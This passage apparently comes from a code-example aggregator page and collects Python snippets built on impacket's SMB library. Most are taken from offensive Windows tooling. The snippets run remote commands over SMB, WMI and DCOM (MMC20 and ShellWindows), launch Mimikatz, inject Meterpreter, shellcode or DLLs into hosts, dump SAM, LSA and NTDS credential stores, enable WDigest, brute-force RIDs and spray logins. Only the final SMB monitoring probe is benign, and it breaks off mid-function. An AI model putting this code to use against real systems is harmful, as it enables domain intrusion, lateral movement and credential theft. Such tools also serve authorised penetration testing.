                                     settings.args.kerb,
                                     settings.args.aesKey)

                wmi_query.run(settings.args.wmi_query, host, settings.args.namespace)

            if settings.args.check_uac:
                uac = UACdump(cme_logger, smb, settings.args.kerb)
                uac.run()

            if settings.args.enable_wdigest or settings.args.disable_wdigest:
                wdigest = WdisgestEnable(cme_logger, smb, settings.args.kerb)
                if settings.args.enable_wdigest:
                    wdigest.enable()
                elif settings.args.disable_wdigest:
                    wdigest.disable()

            if settings.args.service:
                service_control = SVCCTL(cme_logger,
                                         settings.args.user, 
                                         settings.args.passwd, 
                                         domain,
                                         '{}/SMB'.format(settings.args.port),
                                         settings.args.service, 
                                         settings.args)
                service_control.run(host)

            if settings.args.command:
                EXECUTOR(cme_logger, 
                         settings.args.command, 
                         host, 
                         domain, 
                         settings.args.no_output, 
                         smb, 
                         settings.args.execm)

            if settings.args.pscommand:
                EXECUTOR(cme_logger, 
                         ps_command(settings.args.pscommand, settings.args.ps_arch), 
                         host, 
                         domain, 
                         settings.args.no_output, 
                         smb, 
                         settings.args.execm)

            if settings.args.mimikatz:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, 
                         powah_command.mimikatz(), 
                         host, 
                         domain, 
                         True, 
                         smb, 
                         settings.args.execm)

            if settings.args.gpp_passwords:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, 
                         powah_command.gpp_passwords(), 
                         host, 
                         domain, 
                         True, 
                         smb, 
                         settings.args.execm)      

            if settings.args.mimikatz_cmd:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, 
                         powah_command.mimikatz(settings.args.mimikatz_cmd), 
                         host, 
                         domain, 
                         True, 
                         smb, 
                         settings.args.execm)

            if settings.args.powerview:
                #For some reason powerview functions only seem to work when using smbexec...
                #I think we might have a mistery on our hands boys and girls!
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, 
                         powah_command.powerview(settings.args.powerview), 
                         host, 
                         domain, 
                         True, 
                         smb, 
                         'smbexec')

            if settings.args.inject:
                powah_command = PowerShell(settings.args.server, local_ip)
                if settings.args.inject.startswith('met_'):
                    EXECUTOR(cme_logger, 
                             powah_command.inject_meterpreter(), 
                             host, 
                             domain, 
                             True, 
                             smb, 
                             settings.args.execm)

                if settings.args.inject == 'shellcode':
                    EXECUTOR(cme_logger, 
                             powah_command.inject_shellcode(), 
                             host, 
                             domain, 
                             True,
                             smb, 
                             settings.args.execm)

                if settings.args.inject == 'dll' or settings.args.inject == 'exe':
                    EXECUTOR(cme_logger, 
                             powah_command.inject_exe_dll(), 
                             host, 
                             domain, 
                             True, 
                             smb, 
                             settings.args.execm)
        try:
            smb.logoff()
        except:
            pass

    except SessionError as e:
        print_error("{}:{} {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except NetBIOSError as e:
        print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except DCERPCException as e:
        print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except socket.error as e:
        if settings.args.verbose: print_error(str(e))
        return
Ejemplo n.º 25
0
def connector(target, args, db, module, context, cmeserver):

    try:

        smb = SMBConnection(target, target, None, args.smb_port)

        #Get our IP from the socket
        local_ip = smb.getSMBServer().get_socket().getsockname()[0]

        #Get the remote ip address (in case the target is a hostname) 
        remote_ip = smb.getRemoteHost()

        try:
            smb.login('' , '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain     = smb.getServerDomain()
        servername = smb.getServerName()
        serveros   = smb.getServerOS()

        if not domain:
            domain = servername

        db.add_host(remote_ip, servername, domain, serveros)

        logger = CMEAdapter(getLogger('CME'), {'host': remote_ip, 'port': args.smb_port, 'hostname': u'{}'.format(servername)})

        logger.info(u"{} (name:{}) (domain:{})".format(serveros, servername.decode('utf-8'), domain.decode('utf-8')))

        try:
            '''
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            '''
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            pass

        if args.mssql:
            instances = None
            logger.extra['port'] = args.mssql_port
            ms_sql = tds.MSSQL(target, args.mssql_port, logger)
            ms_sql.connect()

            instances = ms_sql.getInstances(10)
            if len(instances) > 0:
                logger.info("Found {} MSSQL instance(s)".format(len(instances)))
                for i, instance in enumerate(instances):
                    logger.highlight("Instance {}".format(i))
                    for key in instance.keys():
                        logger.highlight(key + ":" + instance[key])

            try:
                ms_sql.disconnect()
            except:
                pass

        if args.username and (args.password or args.hash):
            conn = None

            if args.mssql and (instances is not None and len(instances) > 0):
                conn = tds.MSSQL(target, args.mssql_port, logger)
                conn.connect()
            elif not args.mssql:
                conn = SMBConnection(target, target, None, args.smb_port)

            if conn is None:
                return

            if args.domain:
                domain = args.domain

            connection = Connection(args, db, target, servername, domain, conn, logger, cmeserver)

            if (connection.password is not None or connection.hash is not None) and connection.username is not None:
                if module is not None:

                    module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': remote_ip, 'port': args.smb_port, 'hostname': servername})
                    context = Context(db, module_logger, args)
                    context.localip  = local_ip

                    if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
                        cmeserver.server.context.localip = local_ip

                    if hasattr(module, 'on_login'):
                        module.on_login(context, connection)

                    if hasattr(module, 'on_admin_login') and connection.admin_privs:
                        module.on_admin_login(context, connection)
                else:
                    if connection.admin_privs and (args.pscommand or args.command):

                        get_output = True if args.no_output is False else False
                        if args.mssql: args.exec_method = 'mssqlexec'

                        if args.command:
                            output = connection.execute(args.command, get_output=get_output)

                        if args.pscommand:
                            output = connection.execute(create_ps_command(args.pscommand), get_output=get_output)

                        logger.success('Executed command {}'.format('via {}'.format(args.exec_method) if args.exec_method else ''))
                        buf = StringIO(output).readlines()
                        for line in buf:
                            logger.highlight(line.strip())

                    if args.mssql and args.mssql_query:
                        conn.sql_query(args.mssql_query)
                        query_output = conn.printRows()
                        
                        logger.success('Executed MSSQL query')
                        buf = StringIO(query_output).readlines()
                        for line in buf:
                            logger.highlight(line.strip())

                    elif not args.mssql:

                        if connection.admin_privs and (args.sam or args.lsa or args.ntds):
                            secrets_dump = DumpSecrets(connection, logger)

                            if args.sam:
                                secrets_dump.SAM_dump()

                            if args.lsa:
                                secrets_dump.LSA_dump()

                            if args.ntds:
                                secrets_dump.NTDS_dump(args.ntds, args.ntds_pwdLastSet, args.ntds_history)

                        if connection.admin_privs and args.wdigest:
                            w_digest = WDIGEST(logger, connection.conn)

                            if args.wdigest == 'enable':
                                w_digest.enable()

                            elif args.wdigest == 'disable':
                                w_digest.disable()

                        if connection.admin_privs and args.uac:
                            UAC(connection.conn, logger).enum()

                        if args.spider:
                            spider = SMBSpider(logger, connection, args)
                            spider.spider(args.spider, args.depth)
                            spider.finish()

                        if args.enum_shares:
                            ShareEnum(connection.conn, logger).enum()

                        if args.enum_lusers or args.enum_disks or args.enum_sessions:
                            rpc_connection = RPCQUERY(connection, logger)

                            if args.enum_lusers:
                                rpc_connection.enum_lusers()

                            if args.enum_sessions:
                                rpc_connection.enum_sessions()

                            if args.enum_disks:
                                rpc_connection.enum_disks()

                        if args.pass_pol:
                            PassPolDump(logger, args.smb_port, connection).enum()

                        if args.enum_users:
                            SAMRDump(logger, args.smb_port, connection).enum()

                        if connection.admin_privs and args.wmi_query:
                            WMIQUERY(logger, connection, args.wmi_namespace).query(args.wmi_query)

                        if args.rid_brute:
                            LSALookupSid(logger, args.smb_port, connection, args.rid_brute).brute_force()

    except socket.error:
        return
Ejemplo n.º 26
0
def connector(target, args, db, module, context, cmeserver):

    try:

        smb = SMBConnection(target, target, None, args.smb_port)

        #Get our IP from the socket
        local_ip = smb.getSMBServer().get_socket().getsockname()[0]

        #Get the remote ip address (in case the target is a hostname)
        remote_ip = smb.getRemoteHost()

        try:
            smb.login('', '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain = smb.getServerDomain()
        servername = smb.getServerName()
        serveros = smb.getServerOS()

        if not domain:
            domain = servername

        db.add_host(remote_ip, servername, domain, serveros)

        logger = CMEAdapter(
            getLogger('CME'), {
                'host': remote_ip,
                'port': args.smb_port,
                'hostname': u'{}'.format(servername)
            })

        logger.info(u"{} (name:{}) (domain:{})".format(
            serveros, servername.decode('utf-8'), domain.decode('utf-8')))

        try:
            '''
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            '''
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            pass

        if args.mssql:
            instances = None
            logger.extra['port'] = args.mssql_port
            ms_sql = tds.MSSQL(target, args.mssql_port, logger)
            ms_sql.connect()

            instances = ms_sql.getInstances(10)
            if len(instances) > 0:
                logger.info("Found {} MSSQL instance(s)".format(
                    len(instances)))
                for i, instance in enumerate(instances):
                    logger.highlight("Instance {}".format(i))
                    for key in instance.keys():
                        logger.highlight(key + ":" + instance[key])

            try:
                ms_sql.disconnect()
            except:
                pass

        if args.username and (args.password or args.hash):
            conn = None

            if args.mssql and (instances is not None and len(instances) > 0):
                conn = tds.MSSQL(target, args.mssql_port, logger)
                conn.connect()
            elif not args.mssql:
                conn = SMBConnection(target, target, None, args.smb_port)

            if conn is None:
                return

            if args.domain:
                domain = args.domain

            connection = Connection(args, db, target, servername, domain, conn,
                                    logger, cmeserver)

            if (connection.password is not None or connection.hash
                    is not None) and connection.username is not None:
                if module is not None:

                    module_logger = CMEAdapter(
                        getLogger('CME'), {
                            'module': module.name.upper(),
                            'host': remote_ip,
                            'port': args.smb_port,
                            'hostname': servername
                        })
                    context = Context(db, module_logger, args)
                    context.localip = local_ip

                    if hasattr(module, 'on_request') or hasattr(
                            module, 'has_response'):
                        cmeserver.server.context.localip = local_ip

                    if hasattr(module, 'on_login'):
                        module.on_login(context, connection)

                    if hasattr(module,
                               'on_admin_login') and connection.admin_privs:
                        module.on_admin_login(context, connection)
                else:
                    if connection.admin_privs and (args.pscommand
                                                   or args.command):

                        get_output = True if args.no_output is False else False
                        if args.mssql: args.exec_method = 'mssqlexec'

                        if args.command:
                            output = connection.execute(
                                args.command,
                                get_output=get_output,
                                method=args.exec_method)

                        if args.pscommand:
                            output = connection.execute(
                                create_ps_command(args.pscommand),
                                get_output=get_output,
                                method=args.exec_method)

                        logger.success(
                            'Executed command {}'.format('via {}'.format(
                                args.exec_method) if args.exec_method else ''))
                        buf = StringIO(output).readlines()
                        for line in buf:
                            logger.highlight(line.strip())

                    if args.mssql and args.mssql_query:
                        conn.sql_query(args.mssql_query)
                        query_output = conn.printRows()

                        logger.success('Executed MSSQL query')
                        buf = StringIO(query_output).readlines()
                        for line in buf:
                            logger.highlight(line.strip())

                    elif not args.mssql:

                        if connection.admin_privs and (args.sam or args.lsa
                                                       or args.ntds):
                            secrets_dump = DumpSecrets(connection, logger)

                            if args.sam:
                                secrets_dump.SAM_dump()

                            if args.lsa:
                                secrets_dump.LSA_dump()

                            if args.ntds:
                                secrets_dump.NTDS_dump(args.ntds,
                                                       args.ntds_pwdLastSet,
                                                       args.ntds_history)

                        if connection.admin_privs and args.wdigest:
                            w_digest = WDIGEST(logger, connection.conn)

                            if args.wdigest == 'enable':
                                w_digest.enable()

                            elif args.wdigest == 'disable':
                                w_digest.disable()

                        if connection.admin_privs and args.uac:
                            UAC(connection.conn, logger).enum()

                        if args.spider:
                            spider = SMBSpider(logger, connection, args)
                            spider.spider(args.spider, args.depth)
                            spider.finish()

                        if args.enum_shares:
                            ShareEnum(connection.conn, logger).enum()

                        if args.enum_lusers or args.enum_disks or args.enum_sessions:
                            rpc_connection = RPCQUERY(connection, logger)

                            if args.enum_lusers:
                                rpc_connection.enum_lusers()

                            if args.enum_sessions:
                                rpc_connection.enum_sessions()

                            if args.enum_disks:
                                rpc_connection.enum_disks()

                        if args.pass_pol:
                            PassPolDump(logger, args.smb_port,
                                        connection).enum()

                        if args.enum_users:
                            SAMRDump(logger, args.smb_port, connection).enum()

                        if connection.admin_privs and args.wmi_query:
                            WMIQUERY(logger, connection,
                                     args.wmi_namespace).query(args.wmi_query)

                        if args.rid_brute:
                            LSALookupSid(logger, args.smb_port, connection,
                                         args.rid_brute).brute_force()

    except socket.error:
        return
Ejemplo n.º 27
0
class SMBTransport(DCERPCTransport):
    """Implementation of ncacn_np protocol sequence"""

    def __init__(self, dstip, dstport=445, filename='', username='', password='', domain='', lmhash='', nthash='',
                 aesKey='', TGT=None, TGS=None, remote_name='', smb_connection=0, doKerberos=False):
        DCERPCTransport.__init__(self, dstip, dstport)
        self.__socket = None
        self.__tid = 0
        self.__filename = filename
        self.__handle = 0
        self.__pending_recv = 0
        self.set_credentials(username, password, domain, lmhash, nthash, aesKey, TGT, TGS)
        self.__remote_name = remote_name
        self._doKerberos = doKerberos

        if smb_connection == 0:
            self.__existing_smb = False
        else:
            self.__existing_smb = True
            self.set_credentials(*smb_connection.getCredentials())

        self.__prefDialect = None

        if isinstance(smb_connection, smb.SMB):
            # Backward compatibility hack, let's return a
            # SMBBackwardCompatibilityTransport instance
            return SMBBackwardCompatibilityTransport(filename = filename, smb_server = smb_connection)
        else:
            self.__smb_connection = smb_connection

    def preferred_dialect(self, dialect):
        self.__prefDialect = dialect

    def setup_smb_connection(self):
        if not self.__smb_connection:
            if self.__remote_name == '':
                if self.get_dport() == nmb.NETBIOS_SESSION_PORT:
                    self.__smb_connection = SMBConnection('*SMBSERVER', self.get_dip(), sess_port = self.get_dport(),preferredDialect = self.__prefDialect)
                else:
                    self.__smb_connection = SMBConnection(self.get_dip(), self.get_dip(), sess_port = self.get_dport(),preferredDialect = self.__prefDialect)
            else:
                self.__smb_connection = SMBConnection(self.__remote_name, self.get_dip(), sess_port = self.get_dport(),preferredDialect = self.__prefDialect)

    def connect(self):
        # Check if we have a smb connection already setup
        if self.__smb_connection == 0:
           self.setup_smb_connection()
           if self._doKerberos is False:
               self.__smb_connection.login(self._username, self._password, self._domain, self._lmhash, self._nthash)
           else:
               self.__smb_connection.kerberosLogin(self._username, self._password, self._domain, self._lmhash, self._nthash, self._aesKey, TGT=self._TGT, TGS=self._TGS)
        self.__tid = self.__smb_connection.connectTree('IPC$')
        self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename)
        self.__socket = self.__smb_connection.getSMBServer().get_socket()
        return 1

    def disconnect(self):
        self.__smb_connection.disconnectTree(self.__tid)
        # If we created the SMB connection, we close it, otherwise
        # that's up for the caller
        if self.__existing_smb is False:
            self.__smb_connection.logoff()
            self.__smb_connection = 0

    def send(self,data, forceWriteAndx = 0, forceRecv = 0):
        if self._max_send_frag:
            offset = 0
            while 1:
                toSend = data[offset:offset+self._max_send_frag]
                if not toSend:
                    break
                self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset = offset)
                offset += len(toSend)
        else:
            self.__smb_connection.writeFile(self.__tid, self.__handle, data)
        if forceRecv:
            self.__pending_recv += 1

    def recv(self, forceRecv = 0, count = 0 ):
        if self._max_send_frag or self.__pending_recv:
            # _max_send_frag is checked because it's the same condition we checked
            # to decide whether to use write_andx() or send_trans() in send() above.
            if self.__pending_recv:
                self.__pending_recv -= 1
            return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead = self._max_recv_frag)
        else:
            return self.__smb_connection.readFile(self.__tid, self.__handle)

    def get_smb_connection(self):
        return self.__smb_connection

    def set_smb_connection(self, smb_connection):
        self.__smb_connection = smb_connection
        self.set_credentials(*smb_connection.getCredentials())
        self.__existing_smb = True

    def get_smb_server(self):
        # Raw Access to the SMBServer (whatever type it is)
        return self.__smb_connection.getSMBServer()

    def get_socket(self):
        return self.__socket

    def doesSupportNTLMv2(self):
        return self.__smb_connection.doesSupportNTLMv2()
Ejemplo n.º 28
0
class test_login(Thread):
    def __init__(self, target):
        Thread.__init__(self)

        self.__target = target
        self.__credentials = self.__target.get_credentials()
        self.__domains = self.__target.get_domains()
        self.__dstip = self.__target.get_host()
        self.__dstport = self.__target.get_port()
        self.__target_id = self.__target.get_identity()
        self.__destfile = '*SMBSERVER' if self.__dstport == 139 else self.__dstip
        self.__srcfile = conf.name
        self.__timeout = 3

    def connect(self):
        self.smb = SMBConnection(self.__destfile, self.__dstip, self.__srcfile,
                                 self.__dstport, self.__timeout)

    def login(self, user, password, lmhash, nthash, domain):
        self.smb.login(user, password, domain, lmhash, nthash)

    def logoff(self):
        self.smb.logoff()

    def check_admin(self):
        try:
            self.__trans = transport.SMBTransport(remoteName=self.__dstip,
                                                  dstport=self.__dstport,
                                                  filename='svcctl',
                                                  smb_connection=self.smb,
                                                  remote_host=self.__dstip)
            self.__trans.connect()
            self.__dce = self.__trans.get_dce_rpc()
            self.__dce.bind(scmr.MSRPC_UUID_SCMR)
            self.__resp = scmr.hROpenSCManagerW(
                self.__dce, dwDesiredAccess=scmr.SC_MANAGER_CREATE_SERVICE)
            self.__mgr_handle = self.__resp['lpScHandle']
            scmr.hRCloseServiceHandle(self.__dce, self.__mgr_handle)
            self.__dce.disconnect()
            return True
        except rpcrt.DCERPCException as e:
            pass
        except Exception as e:
            logger.error('Check admin error: %s' % str(e))

        return False

    def run(self):
        global pool_thread
        global successes

        try:
            logger.info('Assessing host %s' % self.__target_id)

            for credential in self.__credentials:
                user, password, lmhash, nthash = credential.get_credential()
                password_str = None

                if password != '' or (password == '' and lmhash == ''
                                      and nthash == ''):
                    password_str = password or 'BLANK'
                elif lmhash != '' and nthash != '':
                    password_str = '%s:%s' % (lmhash, nthash)
                for domain in self.__domains:
                    if stop_threads[0]:
                        break

                    status = False
                    error_code = None
                    is_admin = None

                    if domain:
                        user_str = '%s\\%s' % (domain, user)
                    else:
                        user_str = user

                    try:
                        self.connect()
                        self.login(user, password, lmhash, nthash, domain)

                        if self.smb.isGuestSession() > 0:
                            logger.warn(
                                '%s allows guest sessions with any credentials, skipping further login attempts'
                                % self.__target_id)
                            return
                        else:
                            credential.is_admin = self.check_admin()

                            if (self.smb.getServerDomain().upper() !=
                                    domain.upper()
                                    and self.smb.getServerName().upper() !=
                                    domain.upper()):
                                domain = ''
                                user_str = user
                                credential.domain = domain

                            logger.info(
                                'Successful login for %s with %s on %s %s' %
                                (user_str, password_str, self.__target_id,
                                 "(admin user)" if is_admin else ""))

                        self.logoff()

                        status = True
                        successes += 1
                        credential.is_valid = True

                    except SessionError as e:
                        logger.debug('Failed login for %s with %s on %s %s' %
                                     (user_str, password_str, self.__target_id,
                                      e.getErrorString()))
                        error_code = e.getErrorCode()
                        if e.getErrorString(
                        )[0] == "STATUS_PASSWORD_MUST_CHANGE":
                            credential.is_valid = True
                            credential.password_change_required = True
                            status = True
                        elif e.getErrorString(
                        )[0] == "STATUS_ACCOUNT_LOCKED_OUT":
                            credential.is_valid = True
                            credential.is_locked_out = True
                            status = True
                        elif e.getErrorString(
                        )[0] == "STATUS_ACCOUNT_DISABLED":
                            credential.is_valid = True
                            credential.account_disabled = True
                            status = True
                        elif e.getErrorString(
                        )[0] == "STATUS_INVALID_LOGON_HOURS":
                            credential.is_valid = True
                            credential.outside_logon_hours = True
                            status = True
                        else:
                            credential.is_valid = False

                    if status is True:
                        break

            logger.info('Assessment on host %s finished' %
                        self.__target.get_identity())
        except (socket.error, socket.herror, socket.gaierror, socket.timeout,
                NetBIOSTimeout) as e:
            if not stop_threads[0]:
                logger.warn('Connection to host %s failed (%s)' %
                            (self.__target.get_identity(), str(e)))

        self.__target.update_credentials(self.__credentials)
        pool_thread.release()
Ejemplo n.º 29
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                            self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                              self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
        try:
            dispParams = DISPPARAMS(None, False)
            dispParams['rgvarg'] = NULL
            dispParams['rgdispidNamedArgs'] = NULL
            dispParams['cArgs'] = 0
            dispParams['cNamedArgs'] = 0

            if self.__dcomObject == 'ShellWindows':
                # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)
                iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Item',))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
                iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                resp = iItem.GetIDsOfNames(('Document',))
                resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
                pQuit = None
            elif self.__dcomObject == 'ShellBrowserWindow':
                # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)
                iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Document',))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
                pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
            elif self.__dcomObject == 'MMC20':
                iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Document',))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
                pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
            else:
                logging.fatal('Invalid object %s' % self.__dcomObject)
                return

            iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))

            if self.__dcomObject == 'MMC20':
                resp = iDocument.GetIDsOfNames(('ActiveView',))
                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])

                iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
                self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection)
            else:
                resp = iDocument.GetIDsOfNames(('Application',))
                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])

                iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                pExecuteShellCommand = iActiveView.GetIDsOfNames(('ShellExecute',))[0]
                self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection)

            if self.__command != ' ':
                self.shell.onecmd(self.__command)
                if self.shell is not None:
                    self.shell.do_exit('')
            else:
                self.shell.cmdloop()
        except  (Exception, KeyboardInterrupt), e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            if self.shell is not None:
                self.shell.do_exit('')
            logging.error(str(e))
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)
Ejemplo n.º 30
0
class probe_smb(probemain):
    """ SMB probe
    """

    # -----------------------------------------
    def __init__(self):
        """constructor

        """
        probemain.__init__(self, "SMB")

        self.smbClient = None

        self.aShares = None
        self.dceInfo = None
        self.domain = None
        self.ip = None
        self.password = None
        self.port = None
        self.pwd = None
        self.server = None
        self.share = None
        self.tid = None
        self.username = None
        self.bConnected = None
        self.bGuestConnected = None

        self.__clean()

        self.checkNet()
        self.getConfig("smb", self.job_smb)
        self.mainLoop()

    # -----------------------------------------
    def __clean(self):
        """clean all variables"""
        self.bConnected = False
        self.bGuestConnected = True

        self.dceInfo = {}
        self.aShares = []
        self.tid = None
        self.pwd = '\\'
        self.share = ''

    # -----------------------------------------
    def getConfig(self, name, f, testf=None):
        """get the configuration from the database

        """
        jobs = super(probe_smb, self).getConfig(name, f, self.f_testOK)
        for j in jobs:
            logging.info("add job to scheduler every {} sec".format(j['freq']))

    # --------------------------------------------------
    def connect(self):
        """connect to the server
        """
        try: 
            self.smbClient = SMBConnection(self.server, self.ip, sess_port=self.port)
            self.smbClient.login(self.username, self.password, self.domain, '', '')

        except Exception as e:
            logging.error(str(e))
            self.bConnected = False
            return False

        self.bConnected = True

        self.bGuestConnected = (self.smbClient.isGuestSession() > 0)

        return True

    # --------------------------------------------------
    def isUserLogged(self):
        """is the connection guest
        """
    
        return self.bGuestConnected

    # --------------------------------------------------
    def getDCEInfo(self):
        """information on the DCE/RPC connection
        """
        if self.bConnected is False:
            return

        rpctransport = transport.SMBTransport(self.smbClient.getRemoteHost(), 
                                              filename=r'\srvsvc',
                                              smb_connection=self.smbClient)
        dce = rpctransport.get_dce_rpc()
        dce.connect()                     
        dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrServerGetInfo(dce, 102)
        
        r = {
            "platform_id": resp['InfoStruct']['ServerInfo102']['sv102_platform_id'],
            "name": str(resp['InfoStruct']['ServerInfo102']['sv102_name'].replace('\x00', '')),
            "major": resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
            "minor": resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
            "type": resp['InfoStruct']['ServerInfo102']['sv102_type'],
            "comment": str(resp['InfoStruct']['ServerInfo102']['sv102_comment'].replace('\x00', '')),
            "simultaneous_users": resp['InfoStruct']['ServerInfo102']['sv102_users'],
            "disc": resp['InfoStruct']['ServerInfo102']['sv102_disc'],
            "hidden": resp['InfoStruct']['ServerInfo102']['sv102_hidden'],
            "announce": resp['InfoStruct']['ServerInfo102']['sv102_announce'],
            "anndelta": resp['InfoStruct']['ServerInfo102']['sv102_anndelta'],
            "licenses": resp['InfoStruct']['ServerInfo102']['sv102_licenses'],
            "user_path": str(resp['InfoStruct']['ServerInfo102']['sv102_userpath'].replace('\x00', ''))
        }

        self.dceInfo = r

        del rpctransport
        del dce
        del resp

        return r

    # --------------------------------------------------
    def getWho(self):
        """who is connected -> error
        """

        try:
            rpctransport = transport.SMBTransport(self.smbClient.getRemoteHost(), 
                                                  filename=r'\srvsvc', 
                                                  smb_connection=self.smbClient)
            dce = rpctransport.get_dce_rpc()
            dce.connect()                     
            dce.bind(srvs.MSRPC_UUID_SRVS)
            resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)

        except Exception as e:
            logging.error("getWho: {}".format(str(e)))
            return

        for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
            print("host: %15s, user: %5s, active: %5d, idle: %5d" % (
                session['sesi10_cname'][:-1],
                session['sesi10_username'][:-1], 
                session['sesi10_time'],
                session['sesi10_idle_time']))

    # --------------------------------------------------
    def getShares(self):
        """get shares available on the server
        """
        if self.bConnected is False:
            logging.error("No connection open")
            return

        r = []
        resp = self.smbClient.listShares()
        for respi in resp:
            r.append(respi['shi1_netname'][:-1])

        self.aShares = r

        return r

    # --------------------------------------------------
    def getShare(self, regexp=".*"):
        """get shares available on the server

        """

        if self.bConnected is False:
            logging.error("No connection open")
            return

        resp = self.smbClient.listShares()
        for i, _ in enumerate(resp):
            netname = resp[i]['shi1_netname'][:-1]

            _r = re.match(regexp, netname)
            if _r != None:
                return {
                    "netname": netname,
                    "type": resp[i]['shi1_type'],
                    "remark": resp[i]['shi1_remark'][:-1]
                }

        return False

    # --------------------------------------------------
    def useShare(self, share):
        """use a share
        """
        if self.bConnected is False:
            logging.error("No connection open")
            return False

        if not self.aShares:
            self.getShares()

        if share not in self.aShares:
            logging.error("useShare : share {} not available on server".format(share))
            return False

        try:
            self.tid = self.smbClient.connectTree(share)
        except Exception as e:
            logging.error("useShare: {}".format(str(e)))
            return False

        logging.debug("connected on share {}".format(share))
        self.share = share

    # --------------------------------------------------
    def cd(self, _dir):
        """change directory on the share
        """
        if self.bConnected is False:
            logging.error("No connection open")
            return

        if self.tid is None:
            logging.error("not on a share")
            return

        pwd = ntpath.normpath(string.replace(_dir, '/', '\\'))
        logging.debug("cd to normalize path {}".format(pwd))

        # Let's try to open the directory to see if it's valid
        try:
            fid = self.smbClient.openFile(self.tid, pwd, 
                                          creationOption=FILE_DIRECTORY_FILE,
                                          desiredAccess=FILE_READ_DATA | FILE_LIST_DIRECTORY,
                                          shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE)

            self.smbClient.closeFile(self.tid, fid)
        except Exception as e:
            logging.error("cd: {}".format(str(e)))
            return False

        logging.debug("success cd to {}".format(_dir))
        self.pwd = pwd
        return True

    # --------------------------------------------------
    def lsFiles(self, _filter='*'):
        """list files in the directory
        """
        if self.bConnected is False:
            logging.error("No connection open")
            return False

        if self.share == '':
            logging.error("No share selected, see useShare()")
            return False

        if self.tid is None:
            logging.error("not on a share")
            return False

        logging.debug("ls on share {} in {}".format(self.share, self.pwd))

        pwd = ntpath.join(self.pwd, _filter)

        r = []

        try:
